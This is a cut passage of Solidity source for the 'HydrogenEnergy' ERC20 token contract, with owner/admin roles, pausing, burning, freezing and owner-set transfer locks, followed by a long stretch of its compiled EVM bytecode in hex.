require(_to != address(0) && _value != 0 &&_value <= balances[msg.sender],"Please check the amount of transmission error and the amount you send.");
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20Token is BasicToken, ERC20 {
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => mapping (address => uint256)) allowed;
mapping (address => uint256) public freezeOf;
function approve(address _spender, uint256 _value) public returns (bool) {
require(_value == 0 || allowed[msg.sender][_spender] == 0,"Please check the amount you want to approve.");
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
mapping (address => bool) public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner,"I am not the owner of the wallet.");
_;
}
modifier onlyOwnerOrAdmin() {
require(msg.sender == owner || admin[msg.sender] == true,"It is not the owner or manager wallet address.");
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0) && newOwner != owner && admin[newOwner] == true,"It must be the existing manager wallet, not the existing owner's wallet.");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setAdmin(address newAdmin) onlyOwner public {
require(admin[newAdmin] != true && owner != newAdmin,"It is not an existing administrator wallet, and it must not be the owner wallet of the token.");
admin[newAdmin] = true;
}
function unsetAdmin(address Admin) onlyOwner public {
require(admin[Admin] != false && owner != Admin,"This is an existing admin wallet, it must not be a token holder wallet.");
admin[Admin] = false;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused,"There is a pause.");
_;
}
modifier whenPaused() {
require(paused,"It is not paused.");
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0; }
uint256 c = a * b;
require(c / a == b,"An error occurred in the calculation process");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b !=0,"The number you want to divide must be non-zero.");
uint256 c = a / b;
require(c * b == a,"An error occurred in the calculation process");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a,"There are more to deduct.");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a,"The number did not increase.");
return c;
}
}
contract BurnableToken is BasicToken, Ownable {
event Burn(address indexed burner, uint256 amount);
function burn(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
}
contract FreezeToken is BasicToken, Ownable {
event Freezen(address indexed freezer, uint256 amount);
event UnFreezen(address indexed freezer, uint256 amount);
mapping (address => uint256) freezeOf;
function freeze(uint256 _value) onlyOwner public {
balances[msg.sender] = balances[msg.sender].sub(_value);
freezeOf[msg.sender] = freezeOf[msg.sender].add(_value);
_totalSupply = _totalSupply.sub(_value);
emit Freezen(msg.sender, _value);
}
function unfreeze(uint256 _value) onlyOwner public {
require(freezeOf[msg.sender] >= _value,"The number to be processed is more than the total amount and the number currently frozen.");
balances[msg.sender] = balances[msg.sender].add(_value);
freezeOf[msg.sender] = freezeOf[msg.sender].sub(_value);
_totalSupply = _totalSupply.add(_value);
emit Freezen(msg.sender, _value);
}
}
contract HydrogenEnergy is BurnableToken,FreezeToken, DetailedERC20, ERC20Token,Pausable{
using SafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
event LockerChanged(address indexed owner, uint256 amount);
mapping(address => uint) locker;
string private _symbol = "HE";
string private _name = "HydrogenEnergy";
uint8 private _decimals = 18;
uint256 private TOTAL_SUPPLY = 20*(10**8)*(10**uint256(_decimals));
constructor() DetailedERC20(_name, _symbol, _decimals) public {
_totalSupply = TOTAL_SUPPLY;
balances[owner] = _totalSupply;
emit Transfer(address(0x0), msg.sender, _totalSupply);
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool){
require(balances[msg.sender].sub(_value) >= locker[msg.sender],"Attempting to send more than the locked number");
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool){
require(_to > address(0) && _from > address(0),"Please check the address" );
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value,"Please check the amount of transmission error and the amount you send.");
require(balances[_from].sub(_value) >= locker[_from],"Attempting to send more than the locked number" );
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function lockOf(address _address) public view returns (uint256 _locker) {
return locker[_address];
}
function setLock(address _address, uint256 _value) public onlyOwnerOrAdmin {
require(_value <= _totalSupply &&_address != address(0),"It is the first wallet or attempted to lock an amount greater than the total holding.");
locker[_address] = _value;
emit LockerChanged(_address, _value);
}
function setLockList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{
require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different.");
for (uint i=0; i < _recipients.length; i++) {
require(_recipients[i] != address(0),'Please check the address');
locker[_recipients[i]] = _balances[i];
emit LockerChanged(_recipients[i], _balances[i]);
}
}
function transferList(address[] _recipients, uint256[] _balances) public onlyOwnerOrAdmin{
require(_recipients.length == _balances.length,"The number of wallet arrangements and the number of amounts are different.");
for (uint i=0; i < _recipients.length; i++) {
balances[msg.sender] = balances[msg.sender].sub(_balances[i]);
balances[_recipients[i]] = balances[_recipients[i]].add(_balances[i]);
emit Transfer(msg.sender,_recipients[i],_balances[i]);
}
}
function() public payable {
revert();
}
}
|
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610164578063095ea7b3146101f457806318160ddd146102595780631d5397641461028457806323b872dd1461032d578063313ce567146103b25780633f4ba83a146103e357806342966c68146103fa5780634d253b50146104275780635a46d3b51461046a5780635c975abb146104c157806363a846f8146104f0578063661884631461054b5780636623fc46146105b0578063704b6c02146105dd57806370a08231146106205780638456cb5914610677578063859bc2f31461068e5780638da5cb5b1461073757806395d89b411461078e578063a9059cbb1461081e578063b0fc29e614610883578063cd4217c1146108d0578063d73dd62314610927578063d7a78db81461098c578063dd62ed3e146109b9578063f2fde38b14610a30575b600080fd5b34801561017057600080fd5b50610179610a73565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b957808201518184015260208101905061019e565b50505050905090810190601f1680156101e65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b11565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e610d27565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b5061032b6004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290505050610d31565b005b34801561033957600080fd5b50610398600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611108565b604051808215151515815260200191505060405180910390f35b3480156103be57600080fd5b506103c76117c7565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103ef57600080fd5b506103f86117da565b005b34801561040657600080fd5b5061042560048036038101908080359060200190929190505050611992565b005b34801561043357600080fd5b50610468600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be2565b005b34801561047657600080fd5b506104ab600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e97565b6040518082815260200191505060405180910390f35b3480156104cd57600080fd5b506104d6611ee0565b604051808215151515815260200191505060405180910390f35b3480156104fc57600080fd5b50610531600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ef3565b604051808215151515815260200191505060405180910390f35b34801561055757600080fd5b50610596600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f13565b604051808215151515815260200191505060405180910390f35b3480156105bc57600080fd5b506105db600480360381019080803590602001909291905050506121a5565b005b3480156105e957600080fd5b5061061e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612527565b005b34801561062c57600080fd5b50610661600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127dc565b6040518082815260200191505060405180910390f35b34801561068357600080fd5b5061068c612824565b005b34801561069a57600080fd5b5061073560048036038101908080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506129dd565b005b34801561074357600080fd5b5061074c612e1f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561079a57600080fd5b506107a3612e45565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107e35780820151818401526020810190506107c8565b50505050905090810190601f1680156108105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561082a57600080fd5b50610869600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612ee3565b604051808215151515815260200191505060405180910390f35b34801561088f57600080fd5b506108ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506130a9565b005b3480156108dc57600080fd5b50610911600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613384565b6040518082815260200191505060405180910390f35b34801561093357600080fd5b50610972600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061339c565b604051808215151515815260200191505060405180910390f35b34801561099857600080fd5b506109b760048036038101908080359060200190929190505050613598565b005b3480156109c557600080fd5b50610a1a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613817565b6040518082815260200191505060405180910390f35b348015610a3c57600080fd5b50610a71600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061389e565b005b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b095780601f10610ade57610100808354040283529160200191610b09565b820191906000526020600020905b815481529060010190602001808311610aec57829003601f168201915b505050505081565b600080821480610b9d57506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610c37576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001807f506c6561736520636865636b2074686520616d6f756e7420796f752077616e7481526020017f20746f20617070726f76652e000000000000000000000000000000000000000081525060400191505060405180910390fd5b81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ddf575060011515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515610e79576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207781526020017f616c6c657420616464726573732e00000000000000000000000000000000000081525060400191505060405180910390fd5b81518351141515610f3e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a8152602001807f546865206e756d626572206f662077616c6c657420617272616e67656d656e7481526020017f7320616e6420746865206e756d626572206f6620616d6f756e7473206172652081526020017f646966666572656e742e0000000000000000000000000000000000000000000081525060600191505060405180910390fd5b600090505b825181101561110357600073ffffffffffffffffffffffffffffffffffffffff168382815181101515610f7257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515611008576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f506c6561736520636865636b207468652061646472657373000000000000000081525060200191505060405180910390fd5b818181518110151561101657fe5b90602001906020020151600b6000858481518110151561103257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110151561108857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff167f173c6954f6574ae8ea8afd3eed2fc6ddd6f1aac55aab5e2c3a10edc59ba2dfd383838151811015156110d757fe5b906020019060200201516040518082815260200191505060405180910390a28080600101915050610f43565b505050565b6000600a60009054906101000a900460ff1615151561118f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f546865726520697320612070617573652e00000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161180156111f75750600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16115b151561126b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f506c6561736520636865636b207468652061646472657373000000000000000081525060200191505060405180910390fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611335575081600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15156113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260468152602001807f506c6561736520636865636b2074686520616d6f756e74206f66207472616e7381526020017f6d697373696f6e206572726f7220616e642074686520616d6f756e7420796f7581526020017f2073656e642e000000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611486836000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b10151515611522576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f417474656d7074696e6720746f2073656e64206d6f7265207468616e2074686581526020017f206c6f636b6564206e756d62657200000000000000000000000000000000000081525060400191505060405180910390fd5b611573826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611606826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116d782600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600760009054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600a60009054906101000a900460ff161515611949576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4974206973206e6f74207061757365642e00000000000000000000000000000081525060200191505060405180910390fd5b6000600a60006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a7d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b611ace816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b2581600154613bf090919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ccd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60001515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514158015611d7c57508073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1515611e3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260478152602001807f5468697320697320616e206578697374696e672061646d696e2077616c6c657481526020017f2c206974206d757374206e6f74206265206120746f6b656e20686f6c6465722081526020017f77616c6c65742e0000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900460ff1681565b60036020528060005260406000206000915054906101000a900460ff1681565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515612025576000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120b9565b6120388382613bf090919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612290576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515612393576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260598152602001807f546865206e756d62657220746f2062652070726f636573736564206973206d6f81526020017f7265207468616e2074686520746f74616c20616d6f756e7420616e642074686581526020017f206e756d6265722063757272656e746c792066726f7a656e2e0000000000000081525060600191505060405180910390fd5b6123e4816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061247881600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124d081600154613c7590919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcac76f4972d9ff5ad35f15943c99ef30a49b3a0203cc98c4ef401ab7b8d1a509826040518082815260200191505060405180910390a250565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612612576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b60011515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141580156126c157508073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1515612781576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252605d8152602001807f4974206973206e6f7420616e206578697374696e672061646d696e697374726181526020017f746f722077616c6c65742c20616e64206974206d757374206e6f74206265207481526020017f6865206f776e65722077616c6c6574206f662074686520746f6b656e2e00000081525060600191505060405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561290f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600a60009054906101000a900460ff16151515612994576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f546865726520697320612070617573652e00000000000000000000000000000081525060200191505060405180910390fd5b6001600a60006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612a8b575060011515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515612b25576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207781526020017f616c6c657420616464726573732e00000000000000000000000000000000000081525060400191505060405180910390fd5b81518351141515612bea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a8152602001807f546865206e756d626572206f662077616c6c657420617272616e67656d656e7481526020017f7320616e6420746865206e756d626572206f6620616d6f756e7473206172652081526020017f646966666572656e742e0000000000000000000000000000000000000000000081525060600191505060405180910390fd5b600090505b8251811015612e1a57612c608282815181101515612c0957fe5b906020019060200201516000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d218282815181101515612cb357fe5b906020019060200201516000808685815181101515612cce57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b6000808584815181101515612d3257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508281815181101515612d8857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181101515612dee57fe5b906020019060200201516040518082815260200191505060405180910390a38080600101915050612bef565b505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612edb5780601f10612eb057610100808354040283529160200191612edb565b820191906000526020600020905b815481529060010190602001808311612ebe57829003601f168201915b505050505081565b6000600a60009054906101000a900460ff16151515612f6a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f546865726520697320612070617573652e00000000000000000000000000000081525060200191505060405180910390fd5b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ffb836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf090919063ffffffff16565b10151515613097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f417474656d7074696e6720746f2073656e64206d6f7265207468616e2074686581526020017f206c6f636b6564206e756d62657200000000000000000000000000000000000081525060400191505060405180910390fd5b6130a18383613cff565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480613155575060011515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15156131ef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207781526020017f616c6c657420616464726573732e00000000000000000000000000000000000081525060400191505060405180910390fd5b600154811115801561322e5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15156132ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260558152602001807f4974206973207468652066697273742077616c6c6574206f7220617474656d7081526020017f74656420746f206c6f636b20616e20616d6f756e74206772656174657220746881526020017f616e2074686520746f74616c20686f6c64696e672e000000000000000000000081525060600191505060405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f173c6954f6574ae8ea8afd3eed2fc6ddd6f1aac55aab5e2c3a10edc59ba2dfd3826040518082815260200191505060405180910390a25050565b60096020528060005260406000206000915090505481565b600061342d82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c7590919063ffffffff16565b6008600033